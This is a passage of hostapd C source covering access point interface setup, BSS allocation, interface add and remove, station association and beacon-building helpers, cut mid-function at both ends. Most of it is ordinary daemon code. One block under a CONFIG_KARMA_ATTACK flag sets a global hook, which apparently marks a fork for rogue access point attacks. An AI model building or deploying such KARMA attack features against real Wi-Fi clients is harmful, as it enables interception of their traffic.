AP_EVENT_DISABLED); #ifdef CONFIG_FST if (iface->fst) { fst_detach(iface->fst); iface->fst = NULL; } #endif /* CONFIG_FST */ if (iface->interfaces && iface->interfaces->terminate_on_error) eloop_terminate(); return -1; } /** * hostapd_setup_interface_complete - Complete interface setup * * This function is called when previous steps in the interface setup has been * completed. This can also start operations, e.g., DFS, that will require * additional processing before interface is ready to be enabled. Such * operations will call this function from eloop callbacks when finished. */ int hostapd_setup_interface_complete(struct hostapd_iface *iface, int err) { struct hapd_interfaces *interfaces = iface->interfaces; struct hostapd_data *hapd = iface->bss[0]; unsigned int i; int not_ready_in_sync_ifaces = 0; if (!iface->need_to_start_in_sync) return hostapd_setup_interface_complete_sync(iface, err); if (err) { wpa_printf(MSG_ERROR, "Interface initialization failed"); hostapd_set_state(iface, HAPD_IFACE_DISABLED); iface->need_to_start_in_sync = 0; wpa_msg(hapd->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); if (interfaces && interfaces->terminate_on_error) eloop_terminate(); return -1; } if (iface->ready_to_start_in_sync) { /* Already in ready and waiting. should never happpen */ return 0; } for (i = 0; i < interfaces->count; i++) { if (interfaces->iface[i]->need_to_start_in_sync && !interfaces->iface[i]->ready_to_start_in_sync) not_ready_in_sync_ifaces++; } /* * Check if this is the last interface, if yes then start all the other * waiting interfaces. If not, add this interface to the waiting list. */ if (not_ready_in_sync_ifaces > 1 && iface->state == HAPD_IFACE_DFS) { /* * If this interface went through CAC, do not synchronize, just * start immediately. */ iface->need_to_start_in_sync = 0; wpa_printf(MSG_INFO, "%s: Finished CAC - bypass sync and start interface", iface->bss[0]->conf->iface); return hostapd_setup_interface_complete_sync(iface, err); } if (not_ready_in_sync_ifaces > 1) { /* need to wait as there are other interfaces still coming up */ iface->ready_to_start_in_sync = 1; wpa_printf(MSG_INFO, "%s: Interface waiting to sync with other interfaces", iface->bss[0]->conf->iface); return 0; } wpa_printf(MSG_INFO, "%s: Last interface to sync - starting all interfaces", iface->bss[0]->conf->iface); iface->need_to_start_in_sync = 0; hostapd_setup_interface_complete_sync(iface, err); for (i = 0; i < interfaces->count; i++) { if (interfaces->iface[i]->need_to_start_in_sync && interfaces->iface[i]->ready_to_start_in_sync) { hostapd_setup_interface_complete_sync( interfaces->iface[i], 0); /* Only once the interfaces are sync started */ interfaces->iface[i]->need_to_start_in_sync = 0; } } return 0; } /** * hostapd_setup_interface - Setup of an interface * @iface: Pointer to interface data. * Returns: 0 on success, -1 on failure * * Initializes the driver interface, validates the configuration, * and sets driver parameters based on the configuration. * Flushes old stations, sets the channel, encryption, * beacons, and WDS links based on the configuration. * * If interface setup requires more time, e.g., to perform HT co-ex scans, ACS, * or DFS operations, this function returns 0 before such operations have been * completed. The pending operations are registered into eloop and will be * completed from eloop callbacks. Those callbacks end up calling * hostapd_setup_interface_complete() once setup has been completed. */ int hostapd_setup_interface(struct hostapd_iface *iface) { int ret; ret = setup_interface(iface); if (ret) { wpa_printf(MSG_ERROR, "%s: Unable to setup interface.", iface->bss[0]->conf->iface); return -1; } return 0; } /** * hostapd_alloc_bss_data - Allocate and initialize per-BSS data * @hapd_iface: Pointer to interface data * @conf: Pointer to per-interface configuration * @bss: Pointer to per-BSS configuration for this BSS * Returns: Pointer to allocated BSS data * * This function is used to allocate per-BSS data structure. This data will be * freed after hostapd_cleanup() is called for it during interface * deinitialization. */ struct hostapd_data * hostapd_alloc_bss_data(struct hostapd_iface *hapd_iface, struct hostapd_config *conf, struct hostapd_bss_config *bss) { struct hostapd_data *hapd; hapd = os_zalloc(sizeof(*hapd)); if (hapd == NULL) return NULL; hapd->new_assoc_sta_cb = hostapd_new_assoc_sta; hapd->iconf = conf; hapd->conf = bss; hapd->iface = hapd_iface; hapd->driver = hapd->iconf->driver; hapd->ctrl_sock = -1; dl_list_init(&hapd->ctrl_dst); dl_list_init(&hapd->nr_db); return hapd; } static void hostapd_bss_deinit(struct hostapd_data *hapd) { if (!hapd) return; wpa_printf(MSG_DEBUG, "%s: deinit bss %s", __func__, hapd->conf->iface); hostapd_bss_deinit_no_free(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); hostapd_cleanup(hapd); } void hostapd_interface_deinit(struct hostapd_iface *iface) { int j; wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); if (iface == NULL) return; hostapd_set_state(iface, HAPD_IFACE_DISABLED); #ifdef CONFIG_IEEE80211N #ifdef NEED_AP_MLME hostapd_stop_setup_timers(iface); eloop_cancel_timeout(ap_ht2040_timeout, iface, NULL); #endif /* NEED_AP_MLME */ #endif /* CONFIG_IEEE80211N */ eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); iface->wait_channel_update = 0; #ifdef CONFIG_FST if (iface->fst) { fst_detach(iface->fst); iface->fst = NULL; } #endif /* CONFIG_FST */ for (j = iface->num_bss - 1; j >= 0; j--) { if (!iface->bss) break; hostapd_bss_deinit(iface->bss[j]); } } void hostapd_interface_free(struct hostapd_iface *iface) { size_t j; wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); for (j = 0; j < iface->num_bss; j++) { if (!iface->bss) break; wpa_printf(MSG_DEBUG, "%s: free hapd %p", __func__, iface->bss[j]); os_free(iface->bss[j]); } hostapd_cleanup_iface(iface); } struct hostapd_iface * hostapd_alloc_iface(void) { struct hostapd_iface *hapd_iface; hapd_iface = os_zalloc(sizeof(*hapd_iface)); if (!hapd_iface) return NULL; dl_list_init(&hapd_iface->sta_seen); return hapd_iface; } /** * hostapd_init - Allocate and initialize per-interface data * @config_file: Path to the configuration file * Returns: Pointer to the allocated interface data or %NULL on failure * * This function is used to allocate main data structures for per-interface * data. The allocated data buffer will be freed by calling * hostapd_cleanup_iface(). */ struct hostapd_iface * hostapd_init(struct hapd_interfaces *interfaces, const char *config_file) { struct hostapd_iface *hapd_iface = NULL; struct hostapd_config *conf = NULL; struct hostapd_data *hapd; size_t i; hapd_iface = hostapd_alloc_iface(); if (hapd_iface == NULL) goto fail; hapd_iface->config_fname = os_strdup(config_file); if (hapd_iface->config_fname == NULL) goto fail; conf = interfaces->config_read_cb(hapd_iface->config_fname); if (conf == NULL) goto fail; hapd_iface->conf = conf; hapd_iface->num_bss = conf->num_bss; hapd_iface->bss = os_calloc(conf->num_bss, sizeof(struct hostapd_data *)); if (hapd_iface->bss == NULL) goto fail; for (i = 0; i < conf->num_bss; i++) { hapd = hapd_iface->bss[i] = hostapd_alloc_bss_data(hapd_iface, conf, conf->bss[i]); if (hapd == NULL) goto fail; hapd->msg_ctx = hapd; } #ifdef CONFIG_KARMA_ATTACK g_hapd_data = hapd_iface->bss[0]; #endif return hapd_iface; fail: wpa_printf(MSG_ERROR, "Failed to set up interface with %s", config_file); if (conf) hostapd_config_free(conf); if (hapd_iface) { os_free(hapd_iface->config_fname); os_free(hapd_iface->bss); wpa_printf(MSG_DEBUG, "%s: free iface %p", __func__, hapd_iface); os_free(hapd_iface); } return NULL; } static int ifname_in_use(struct hapd_interfaces *interfaces, const char *ifname) { size_t i, j; for (i = 0; i < interfaces->count; i++) { struct hostapd_iface *iface = interfaces->iface[i]; for (j = 0; j < iface->num_bss; j++) { struct hostapd_data *hapd = iface->bss[j]; if (os_strcmp(ifname, hapd->conf->iface) == 0) return 1; } } return 0; } /** * hostapd_interface_init_bss - Read configuration file and init BSS data * * This function is used to parse configuration file for a BSS. This BSS is * added to an existing interface sharing the same radio (if any) or a new * interface is created if this is the first interface on a radio. This * allocate memory for the BSS. No actual driver operations are started. * * This is similar to hostapd_interface_init(), but for a case where the * configuration is used to add a single BSS instead of all BSSes for a radio. */ struct hostapd_iface * hostapd_interface_init_bss(struct hapd_interfaces *interfaces, const char *phy, const char *config_fname, int debug) { struct hostapd_iface *new_iface = NULL, *iface = NULL; struct hostapd_data *hapd; int k; size_t i, bss_idx; if (!phy || !*phy) return NULL; for (i = 0; i < interfaces->count; i++) { if (os_strcmp(interfaces->iface[i]->phy, phy) == 0) { iface = interfaces->iface[i]; break; } } wpa_printf(MSG_INFO, "Configuration file: %s (phy %s)%s", config_fname, phy, iface ? "" : " --> new PHY"); if (iface) { struct hostapd_config *conf; struct hostapd_bss_config **tmp_conf; struct hostapd_data **tmp_bss; struct hostapd_bss_config *bss; const char *ifname; /* Add new BSS to existing iface */ conf = interfaces->config_read_cb(config_fname); if (conf == NULL) return NULL; if (conf->num_bss > 1) { wpa_printf(MSG_ERROR, "Multiple BSSes specified in BSS-config"); hostapd_config_free(conf); return NULL; } ifname = conf->bss[0]->iface; if (ifname[0] != '\0' && ifname_in_use(interfaces, ifname)) { wpa_printf(MSG_ERROR, "Interface name %s already in use", ifname); hostapd_config_free(conf); return NULL; } tmp_conf = os_realloc_array( iface->conf->bss, iface->conf->num_bss + 1, sizeof(struct hostapd_bss_config *)); tmp_bss = os_realloc_array(iface->bss, iface->num_bss + 1, sizeof(struct hostapd_data *)); if (tmp_bss) iface->bss = tmp_bss; if (tmp_conf) { iface->conf->bss = tmp_conf; iface->conf->last_bss = tmp_conf[0]; } if (tmp_bss == NULL || tmp_conf == NULL) { hostapd_config_free(conf); return NULL; } bss = iface->conf->bss[iface->conf->num_bss] = conf->bss[0]; iface->conf->num_bss++; hapd = hostapd_alloc_bss_data(iface, iface->conf, bss); if (hapd == NULL) { iface->conf->num_bss--; hostapd_config_free(conf); return NULL; } iface->conf->last_bss = bss; iface->bss[iface->num_bss] = hapd; hapd->msg_ctx = hapd; bss_idx = iface->num_bss++; conf->num_bss--; conf->bss[0] = NULL; hostapd_config_free(conf); } else { /* Add a new iface with the first BSS */ new_iface = iface = hostapd_init(interfaces, config_fname); if (!iface) return NULL; os_strlcpy(iface->phy, phy, sizeof(iface->phy)); iface->interfaces = interfaces; bss_idx = 0; } for (k = 0; k < debug; k++) { if (iface->bss[bss_idx]->conf->logger_stdout_level > 0) iface->bss[bss_idx]->conf->logger_stdout_level--; } if (iface->conf->bss[bss_idx]->iface[0] == '\0' && !hostapd_drv_none(iface->bss[bss_idx])) { wpa_printf(MSG_ERROR, "Interface name not specified in %s", config_fname); if (new_iface) hostapd_interface_deinit_free(new_iface); return NULL; } return iface; } void hostapd_interface_deinit_free(struct hostapd_iface *iface) { const struct wpa_driver_ops *driver; void *drv_priv; wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); if (iface == NULL) return; wpa_printf(MSG_DEBUG, "%s: num_bss=%u conf->num_bss=%u", __func__, (unsigned int) iface->num_bss, (unsigned int) iface->conf->num_bss); driver = iface->bss[0]->driver; drv_priv = iface->bss[0]->drv_priv; hostapd_interface_deinit(iface); wpa_printf(MSG_DEBUG, "%s: driver=%p drv_priv=%p -> hapd_deinit", __func__, driver, drv_priv); if (driver && driver->hapd_deinit && drv_priv) { driver->hapd_deinit(drv_priv); iface->bss[0]->drv_priv = NULL; } hostapd_interface_free(iface); } static void hostapd_deinit_driver(const struct wpa_driver_ops *driver, void *drv_priv, struct hostapd_iface *hapd_iface) { size_t j; wpa_printf(MSG_DEBUG, "%s: driver=%p drv_priv=%p -> hapd_deinit", __func__, driver, drv_priv); if (driver && driver->hapd_deinit && drv_priv) { driver->hapd_deinit(drv_priv); for (j = 0; j < hapd_iface->num_bss; j++) { wpa_printf(MSG_DEBUG, "%s:bss[%d]->drv_priv=%p", __func__, (int) j, hapd_iface->bss[j]->drv_priv); if (hapd_iface->bss[j]->drv_priv == drv_priv) hapd_iface->bss[j]->drv_priv = NULL; } } } int hostapd_enable_iface(struct hostapd_iface *hapd_iface) { size_t j; if (hapd_iface->bss[0]->drv_priv != NULL) { wpa_printf(MSG_ERROR, "Interface %s already enabled", hapd_iface->conf->bss[0]->iface); return -1; } wpa_printf(MSG_DEBUG, "Enable interface %s", hapd_iface->conf->bss[0]->iface); for (j = 0; j < hapd_iface->num_bss; j++) hostapd_set_security_params(hapd_iface->conf->bss[j], 1); if (hostapd_config_check(hapd_iface->conf, 1) < 0) { wpa_printf(MSG_INFO, "Invalid configuration - cannot enable"); return -1; } if (hapd_iface->interfaces == NULL || hapd_iface->interfaces->driver_init == NULL || hapd_iface->interfaces->driver_init(hapd_iface)) return -1; if (hostapd_setup_interface(hapd_iface)) { hostapd_deinit_driver(hapd_iface->bss[0]->driver, hapd_iface->bss[0]->drv_priv, hapd_iface); return -1; } return 0; } int hostapd_reload_iface(struct hostapd_iface *hapd_iface) { size_t j; wpa_printf(MSG_DEBUG, "Reload interface %s", hapd_iface->conf->bss[0]->iface); for (j = 0; j < hapd_iface->num_bss; j++) hostapd_set_security_params(hapd_iface->conf->bss[j], 1); if (hostapd_config_check(hapd_iface->conf, 1) < 0) { wpa_printf(MSG_ERROR, "Updated configuration is invalid"); return -1; } hostapd_clear_old(hapd_iface); for (j = 0; j < hapd_iface->num_bss; j++) hostapd_reload_bss(hapd_iface->bss[j]); return 0; } int hostapd_disable_iface(struct hostapd_iface *hapd_iface) { size_t j; const struct wpa_driver_ops *driver; void *drv_priv; if (hapd_iface == NULL) return -1; if (hapd_iface->bss[0]->drv_priv == NULL) { wpa_printf(MSG_INFO, "Interface %s already disabled", hapd_iface->conf->bss[0]->iface); return -1; } wpa_msg(hapd_iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); driver = hapd_iface->bss[0]->driver; drv_priv = hapd_iface->bss[0]->drv_priv; hapd_iface->driver_ap_teardown = !!(hapd_iface->drv_flags & WPA_DRIVER_FLAGS_AP_TEARDOWN_SUPPORT); /* same as hostapd_interface_deinit without deinitializing ctrl-iface */ for (j = 0; j < hapd_iface->num_bss; j++) { struct hostapd_data *hapd = hapd_iface->bss[j]; hostapd_bss_deinit_no_free(hapd); hostapd_free_hapd_data(hapd); } hostapd_deinit_driver(driver, drv_priv, hapd_iface); /* From hostapd_cleanup_iface: These were initialized in * hostapd_setup_interface and hostapd_setup_interface_complete */ hostapd_cleanup_iface_partial(hapd_iface); wpa_printf(MSG_DEBUG, "Interface %s disabled", hapd_iface->bss[0]->conf->iface); hostapd_set_state(hapd_iface, HAPD_IFACE_DISABLED); return 0; } static struct hostapd_iface * hostapd_iface_alloc(struct hapd_interfaces *interfaces) { struct hostapd_iface **iface, *hapd_iface; iface = os_realloc_array(interfaces->iface, interfaces->count + 1, sizeof(struct hostapd_iface *)); if (iface == NULL) return NULL; interfaces->iface = iface; hapd_iface = interfaces->iface[interfaces->count] = hostapd_alloc_iface(); if (hapd_iface == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory for " "the interface", __func__); return NULL; } interfaces->count++; hapd_iface->interfaces = interfaces; return hapd_iface; } static struct hostapd_config * hostapd_config_alloc(struct hapd_interfaces *interfaces, const char *ifname, const char *ctrl_iface, const char *driver) { struct hostapd_bss_config *bss; struct hostapd_config *conf; /* Allocates memory for bss and conf */ conf = hostapd_config_defaults(); if (conf == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory for " "configuration", __func__); return NULL; } if (driver) { int j; for (j = 0; wpa_drivers[j]; j++) { if (os_strcmp(driver, wpa_drivers[j]->name) == 0) { conf->driver = wpa_drivers[j]; goto skip; } } wpa_printf(MSG_ERROR, "Invalid/unknown driver '%s' - registering the default driver", driver); } conf->driver = wpa_drivers[0]; if (conf->driver == NULL) { wpa_printf(MSG_ERROR, "No driver wrappers registered!"); hostapd_config_free(conf); return NULL; } skip: bss = conf->last_bss = conf->bss[0]; os_strlcpy(bss->iface, ifname, sizeof(bss->iface)); bss->ctrl_interface = os_strdup(ctrl_iface); if (bss->ctrl_interface == NULL) { hostapd_config_free(conf); return NULL; } /* Reading configuration file skipped, will be done in SET! * From reading the configuration till the end has to be done in * SET */ return conf; } static int hostapd_data_alloc(struct hostapd_iface *hapd_iface, struct hostapd_config *conf) { size_t i; struct hostapd_data *hapd; hapd_iface->bss = os_calloc(conf->num_bss, sizeof(struct hostapd_data *)); if (hapd_iface->bss == NULL) return -1; for (i = 0; i < conf->num_bss; i++) { hapd = hapd_iface->bss[i] = hostapd_alloc_bss_data(hapd_iface, conf, conf->bss[i]); if (hapd == NULL) { while (i > 0) { i--; os_free(hapd_iface->bss[i]); hapd_iface->bss[i] = NULL; } os_free(hapd_iface->bss); hapd_iface->bss = NULL; return -1; } hapd->msg_ctx = hapd; } hapd_iface->conf = conf; hapd_iface->num_bss = conf->num_bss; return 0; } int hostapd_add_iface(struct hapd_interfaces *interfaces, char *buf) { struct hostapd_config *conf = NULL; struct hostapd_iface *hapd_iface = NULL, *new_iface = NULL; struct hostapd_data *hapd; char *ptr; size_t i, j; const char *conf_file = NULL, *phy_name = NULL; if (os_strncmp(buf, "bss_config=", 11) == 0) { char *pos; phy_name = buf + 11; pos = os_strchr(phy_name, ':'); if (!pos) return -1; *pos++ = '\0'; conf_file = pos; if (!os_strlen(conf_file)) return -1; hapd_iface = hostapd_interface_init_bss(interfaces, phy_name, conf_file, 0); if (!hapd_iface) return -1; for (j = 0; j < interfaces->count; j++) { if (interfaces->iface[j] == hapd_iface) break; } if (j == interfaces->count) { struct hostapd_iface **tmp; tmp = os_realloc_array(interfaces->iface, interfaces->count + 1, sizeof(struct hostapd_iface *)); if (!tmp) { hostapd_interface_deinit_free(hapd_iface); return -1; } interfaces->iface = tmp; interfaces->iface[interfaces->count++] = hapd_iface; new_iface = hapd_iface; } if (new_iface) { if (interfaces->driver_init(hapd_iface)) goto fail; if (hostapd_setup_interface(hapd_iface)) { hostapd_deinit_driver( hapd_iface->bss[0]->driver, hapd_iface->bss[0]->drv_priv, hapd_iface); goto fail; } } else { /* Assign new BSS with bss[0]'s driver info */ hapd = hapd_iface->bss[hapd_iface->num_bss - 1]; hapd->driver = hapd_iface->bss[0]->driver; hapd->drv_priv = hapd_iface->bss[0]->drv_priv; os_memcpy(hapd->own_addr, hapd_iface->bss[0]->own_addr, ETH_ALEN); if (start_ctrl_iface_bss(hapd) < 0 || (hapd_iface->state == HAPD_IFACE_ENABLED && hostapd_setup_bss(hapd, -1))) { hostapd_cleanup(hapd); hapd_iface->bss[hapd_iface->num_bss - 1] = NULL; hapd_iface->conf->num_bss--; hapd_iface->num_bss--; wpa_printf(MSG_DEBUG, "%s: free hapd %p %s", __func__, hapd, hapd->conf->iface); hostapd_config_free_bss(hapd->conf); hapd->conf = NULL; os_free(hapd); return -1; } } return 0; } ptr = os_strchr(buf, ' '); if (ptr == NULL) return -1; *ptr++ = '\0'; if (os_strncmp(ptr, "config=", 7) == 0) conf_file = ptr + 7; for (i = 0; i < interfaces->count; i++) { if (!os_strcmp(interfaces->iface[i]->conf->bss[0]->iface, buf)) { wpa_printf(MSG_INFO, "Cannot add interface - it " "already exists"); return -1; } } hapd_iface = hostapd_iface_alloc(interfaces); if (hapd_iface == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " "for interface", __func__); goto fail; } new_iface = hapd_iface; if (conf_file && interfaces->config_read_cb) { conf = interfaces->config_read_cb(conf_file); if (conf && conf->bss) os_strlcpy(conf->bss[0]->iface, buf, sizeof(conf->bss[0]->iface)); } else { char *driver = os_strchr(ptr, ' '); if (driver) *driver++ = '\0'; conf = hostapd_config_alloc(interfaces, buf, ptr, driver); } if (conf == NULL || conf->bss == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " "for configuration", __func__); goto fail; } if (hostapd_data_alloc(hapd_iface, conf) < 0) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " "for hostapd", __func__); goto fail; } conf = NULL; if (start_ctrl_iface(hapd_iface) < 0) goto fail; wpa_printf(MSG_INFO, "Add interface '%s'", hapd_iface->conf->bss[0]->iface); return 0; fail: if (conf) hostapd_config_free(conf); if (hapd_iface) { if (hapd_iface->bss) { for (i = 0; i < hapd_iface->num_bss; i++) { hapd = hapd_iface->bss[i]; if (!hapd) continue; if (hapd_iface->interfaces && hapd_iface->interfaces->ctrl_iface_deinit) hapd_iface->interfaces-> ctrl_iface_deinit(hapd); wpa_printf(MSG_DEBUG, "%s: free hapd %p (%s)", __func__, hapd_iface->bss[i], hapd->conf->iface); hostapd_cleanup(hapd); os_free(hapd); hapd_iface->bss[i] = NULL; } os_free(hapd_iface->bss); hapd_iface->bss = NULL; } if (new_iface) { interfaces->count--; interfaces->iface[interfaces->count] = NULL; } hostapd_cleanup_iface(hapd_iface); } return -1; } static int hostapd_remove_bss(struct hostapd_iface *iface, unsigned int idx) { size_t i; wpa_printf(MSG_INFO, "Remove BSS '%s'", iface->conf->bss[idx]->iface); /* Remove hostapd_data only if it has already been initialized */ if (idx < iface->num_bss) { struct hostapd_data *hapd = iface->bss[idx]; hostapd_bss_deinit(hapd); wpa_printf(MSG_DEBUG, "%s: free hapd %p (%s)", __func__, hapd, hapd->conf->iface); hostapd_config_free_bss(hapd->conf); hapd->conf = NULL; os_free(hapd); iface->num_bss--; for (i = idx; i < iface->num_bss; i++) iface->bss[i] = iface->bss[i + 1]; } else { hostapd_config_free_bss(iface->conf->bss[idx]); iface->conf->bss[idx] = NULL; } iface->conf->num_bss--; for (i = idx; i < iface->conf->num_bss; i++) iface->conf->bss[i] = iface->conf->bss[i + 1]; return 0; } int hostapd_remove_iface(struct hapd_interfaces *interfaces, char *buf) { struct hostapd_iface *hapd_iface; size_t i, j, k = 0; for (i = 0; i < interfaces->count; i++) { hapd_iface = interfaces->iface[i]; if (hapd_iface == NULL) return -1; if (!os_strcmp(hapd_iface->conf->bss[0]->iface, buf)) { wpa_printf(MSG_INFO, "Remove interface '%s'", buf); hapd_iface->driver_ap_teardown = !!(hapd_iface->drv_flags & WPA_DRIVER_FLAGS_AP_TEARDOWN_SUPPORT); hostapd_interface_deinit_free(hapd_iface); k = i; while (k < (interfaces->count - 1)) { interfaces->iface[k] = interfaces->iface[k + 1]; k++; } interfaces->count--; return 0; } for (j = 0; j < hapd_iface->conf->num_bss; j++) { if (!os_strcmp(hapd_iface->conf->bss[j]->iface, buf)) { hapd_iface->driver_ap_teardown = !(hapd_iface->drv_flags & WPA_DRIVER_FLAGS_AP_TEARDOWN_SUPPORT); return hostapd_remove_bss(hapd_iface, j); } } } return -1; } /** * hostapd_new_assoc_sta - Notify that a new station associated with the AP * @hapd: Pointer to BSS data * @sta: Pointer to the associated STA data * @reassoc: 1 to indicate this was a re-association; 0 = first association * * This function will be called whenever a station associates with the AP. It * can be called from ieee802_11.c for drivers that export MLME to hostapd and * from drv_callbacks.c based on driver events for drivers that take care of * management frames (IEEE 802.11 authentication and association) internally. */ void hostapd_new_assoc_sta(struct hostapd_data *hapd, struct sta_info *sta, int reassoc) { if (hapd->tkip_countermeasures) { hostapd_drv_sta_deauth(hapd, sta->addr, WLAN_REASON_MICHAEL_MIC_FAILURE); return; } hostapd_prune_associations(hapd, sta->addr); ap_sta_clear_disconnect_timeouts(hapd, sta); /* IEEE 802.11F (IAPP) */ if (hapd->conf->ieee802_11f) iapp_new_station(hapd->iapp, sta); #ifdef CONFIG_P2P if (sta->p2p_ie == NULL && !sta->no_p2p_set) { sta->no_p2p_set = 1; hapd->num_sta_no_p2p++; if (hapd->num_sta_no_p2p == 1) hostapd_p2p_non_p2p_sta_connected(hapd); } #endif /* CONFIG_P2P */ /* Start accounting here, if IEEE 802.1X and WPA are not used. * IEEE 802.1X/WPA code will start accounting after the station has * been authorized. */ if (!hapd->conf->ieee802_1x && !hapd->conf->wpa && !hapd->conf->osen) { ap_sta_set_authorized(hapd, sta, 1); os_get_reltime(&sta->connected_time); accounting_sta_start(hapd, sta); } /* Start IEEE 802.1X authentication process for new stations */ ieee802_1x_new_station(hapd, sta); if (reassoc) { if (sta->auth_alg != WLAN_AUTH_FT && !(sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS))) wpa_auth_sm_event(sta->wpa_sm, WPA_REAUTH); } else wpa_auth_sta_associated(hapd->wpa_auth, sta->wpa_sm); if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_INACTIVITY_TIMER)) { wpa_printf(MSG_DEBUG, "%s: %s: reschedule ap_handle_timer timeout for " MACSTR " (%d seconds - ap_max_inactivity)", hapd->conf->iface, __func__, MAC2STR(sta->addr), hapd->conf->ap_max_inactivity); eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_register_timeout(hapd->conf->ap_max_inactivity, 0, ap_handle_timer, hapd, sta); } } const char * hostapd_state_text(enum hostapd_iface_state s) { switch (s) { case HAPD_IFACE_UNINITIALIZED: return "UNINITIALIZED"; case HAPD_IFACE_DISABLED: return "DISABLED"; case HAPD_IFACE_COUNTRY_UPDATE: return "COUNTRY_UPDATE"; case HAPD_IFACE_ACS: return "ACS"; case HAPD_IFACE_HT_SCAN: return "HT_SCAN"; case HAPD_IFACE_DFS: return "DFS"; case HAPD_IFACE_ENABLED: return "ENABLED"; } return "UNKNOWN"; } void hostapd_set_state(struct hostapd_iface *iface, enum hostapd_iface_state s) { wpa_printf(MSG_INFO, "%s: interface state %s->%s", iface->conf ? iface->conf->bss[0]->iface : "N/A", hostapd_state_text(iface->state), hostapd_state_text(s)); iface->state = s; } int hostapd_csa_in_progress(struct hostapd_iface *iface) { unsigned int i; for (i = 0; i < iface->num_bss; i++) if (iface->bss[i]->csa_in_progress) return 1; return 0; } #ifdef NEED_AP_MLME static void free_beacon_data(struct beacon_data *beacon) { os_free(beacon->head); beacon->head = NULL; os_free(beacon->tail); beacon->tail = NULL; os_free(beacon->probe_resp); beacon->probe_resp = NULL; os_free(beacon->beacon_ies); beacon->beacon_ies = NULL; os_free(beacon->proberesp_ies); beacon->proberesp_ies = NULL; os_free(beacon->assocresp_ies); beacon->assocresp_ies = NULL; } static int hostapd_build_beacon_data(struct hostapd_data *hapd, struct beacon_data *beacon) { struct wpabuf *beacon_extra, *proberesp_extra, *assocresp_extra; struct wpa_driver_ap_params params; int ret; os_memset(beacon, 0, sizeof(*beacon)); ret = ieee802_11_build_ap_params(hapd, &params); if (ret < 0) return ret; ret = hostapd_build_ap_extra_ies(hapd, &beacon_extra, &proberesp_extra, &assocresp_extra); if (ret) goto free_ap_params; ret = -1; beacon->head = os_malloc(params.head_len); if (!beacon->head) goto free_ap_extra_ies; os_memcpy(beacon->head, params.head, params.head_len); beacon->head_len = params.head_len; beacon->tail = os_malloc(params.tail_len); if (!beacon->tail) goto free_beacon; os_memcpy(beacon->tail, params.tail, params.tail_len); beacon->tail_len = params.tail_len; if (params.proberesp != NULL) { beacon->probe_resp = os_malloc(params.proberesp_len); if (!beacon->probe_resp) goto free_beacon; os_memcpy(beacon->probe_resp, params.proberesp, params.proberesp_len); beacon->probe_resp_len = params.proberesp_len; } /* copy the extra ies */ if (beacon_extra) { beacon->beacon_ies = os_malloc(wpabuf_len(beacon_extra)); if (!beacon->beacon_ies) goto free_beacon; os_memcpy(beacon->beacon_ies, beacon_extra->buf, wpabuf_len(beacon_extra)); beacon->beacon_ies_len = wpabuf_len(beacon_extra); } if (proberesp_extra) { beacon->proberesp_ies = os_malloc(wpabuf_len(proberesp_extra)); if (!beacon->proberesp_ies) goto free_beacon; os_memcpy(beacon->proberesp_ies, proberesp_extra->buf, wpabuf_len(proberesp_extra)); beacon->proberesp_ies_len = wpabuf_len(proberesp_extra); } if (assocresp_extra) { beacon->assocresp_ies = os_malloc(wpabuf_len(assocresp_extra)); if (!beacon->assocresp_ies) goto free_beacon; os_memcpy(beacon->assocresp_ies, assocresp_extra->buf, wpabuf_len(assocresp_extra)); beacon->assocresp_ies_len = wpabuf_len(assocresp_extra); } ret = 0; free_beacon: /* if the function fails, the caller should not free beacon data */ if (ret) free_beacon_data(beacon); free_ap_extra_ies: hostapd_free_ap_extra_ies(hapd, beacon_extra, proberesp_extra, assocresp_extra); free_ap_params: ieee802_11_free_ap_params(&params); return ret; } /* * TODO: This flow currently supports only changing channel and width within * the same hw_mode. Any other changes to MAC parameters or provided settings * are not supported. */ static int hostapd_change_config_freq(struct hostapd_data *hapd, struct hostapd_config *conf, struct hostapd_freq_params *params, struct hostapd_freq_params *old_params) { int channel; if (!params->channel) { /* check if the new channel is supported by hw */ params->channel = hostapd_hw_get_channel(hapd, params->freq); } channel = params->channel; if (!channel) return -1; /* if a pointer to old_params is provided we save previous state */ if (old_params && hostapd_set_freq_params(old_params, conf->hw_mode, hostapd_hw_get_freq(hapd, conf->channel), conf->channel, conf->ieee80211n, conf->ieee80211ac, conf->secondary_channel, conf->vht_oper_chwidth, conf->vht_oper_centr_freq_seg0_idx, conf->vht_oper_centr_freq_seg1_idx, conf->vht_capab)) return -1; switch (params->bandwidth) { case 0: case 20: case 40: conf->vht_oper_chwidth = VHT_CHANWIDTH_USE_HT; break; case 80: if (params->center_freq2) conf->vht_oper_chwidth = VHT_CHANWIDTH_80P80MHZ; else conf->vht_oper_chwidth = VHT_CHANWIDTH_80MHZ; break; case 160: conf->vht_oper_chwidth = VHT_CHANWIDTH_160MHZ; break; default: return -1; } conf->channel = channel; conf->ieee80211n = params->ht_enabled; conf->secondary_channel = params->sec_channel_offset; ieee80211_freq_to_chan(params->center_freq1, &conf->vht_oper_centr_freq_seg0_idx); ieee80211_freq_to_chan(params->center_freq2, &conf->vht_oper_centr_freq_seg1_idx); /* TODO: maybe call here hostapd_config_check here? */ return 0; } static int hostapd_fill_csa_settings(struct hostapd_data *hapd, struct csa_settings *settings) { struct hostapd_iface *iface = hapd->iface; struct hostapd_freq_params old_freq; int ret; u8 chan, vht_bandwidth; os_memset(&old_freq, 0, sizeof(old_freq)); if (!iface || !iface->freq || hapd->csa_in_progress) return -1; switch (settings->freq_params.bandwidth) { case 80: if (settings->freq_params.center_freq2) vht_bandwidth = VHT_CHANWIDTH_80P80MHZ; else vht_bandwidth = VHT_CHANWIDTH_80MHZ; break; case 160: vht_bandwidth = VHT_CHANWIDTH_160MHZ; break; default: vht_bandwidth = 